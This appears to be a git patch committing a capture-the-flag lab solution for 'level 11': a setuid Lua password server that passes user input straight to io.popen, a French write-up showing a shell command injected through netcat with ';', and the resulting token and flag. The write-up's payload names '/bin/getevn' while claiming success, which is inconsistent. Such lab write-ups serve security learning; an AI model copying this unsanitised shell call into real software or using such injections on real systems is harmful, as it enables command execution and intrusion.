From 1f46a1fe42ab08c8e8ef79a08535f997ab2e13d9 Mon Sep 17 00:00:00 2001 From: Lapin Date: Thu, 28 Jan 2021 12:20:00 +0100 Subject: [PATCH] level 11 --- level11/Ressources/level11.lua | 34 ++++++++++++++++++++++++++++++++++ level11/Ressources/solution | 26 ++++++++++++++++++++++++++ level11/Ressources/token | 1 + level11/flag | 1 + 4 files changed, 62 insertions(+) create mode 100755 level11/Ressources/level11.lua create mode 100644 level11/Ressources/solution create mode 100644 level11/Ressources/token create mode 100644 level11/flag diff --git a/level11/Ressources/level11.lua b/level11/Ressources/level11.lua new file mode 100755 index 0000000..5b81a21 --- /dev/null +++ b/level11/Ressources/level11.lua @@ -0,0 +1,34 @@ +#!/usr/bin/env lua +local socket = require("socket") +local server = assert(socket.bind("127.0.0.1", 5151)) + +function hash(pass) + prog = io.popen("echo "..pass.." | sha1sum", "r") + data = prog:read("*all") + prog:close() + + data = string.sub(data, 1, 40) + + return data +end + + +while 1 do + local client = server:accept() + client:send("Password: ") + client:settimeout(60) + local l, err = client:receive() + if not err then + print("trying " .. l) + local h = hash(l) + + if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then + client:send("Erf nope..\n"); + else + client:send("Gz you dumb*\n") + end + + end + + client:close() +end diff --git a/level11/Ressources/solution b/level11/Ressources/solution new file mode 100644 index 0000000..2660401 --- /dev/null +++ b/level11/Ressources/solution @@ -0,0 +1,26 @@ +* Dans le home il y a un script lua + +$ ll +> rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua* + +* Ca semble etre un server. On tante de se conecter au localhost avec le port 5151 +$ nc localhost 5151 +> Password: kjksd +> Erf nope.. + +* Il semblerait donc que ce soit bien a ce stript lua que l'on comunique via netcat. +* On peut trouver le nombre f05d1d066fb246efe0c6f7d095f909a7a0cf34a0. +* Google nous apprend que c'est le hash de "NotSoEasy" toute fois ce mot de passe ne donne rien + +* Par contre en observant mieux on voit qu'une chaine ne charactere comptenant +* le mot de passe que l'on envoie semble etre executer en shell avec les back quot line 11 +* io.popen() lance un souproces et execute la chaine e character qui lui est envoyer. +* On va essayer de lancer getflag en arretant la comande avec ';' + +$ nc localhost 5151 +> Password: ; /bin/getevn > /tmp/bingo + +$ cat /tmp/bingo +> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s + +BINGO diff --git a/level11/Ressources/token b/level11/Ressources/token new file mode 100644 index 0000000..274dc93 --- /dev/null +++ b/level11/Ressources/token @@ -0,0 +1 @@ +f05d1d066fb246efe0c6f7d095f909a7a0cf34a0 diff --git a/level11/flag b/level11/flag new file mode 100644 index 0000000..54ea557 --- /dev/null +++ b/level11/flag @@ -0,0 +1 @@ +fa6v5ateaw21peobuub8ipe6s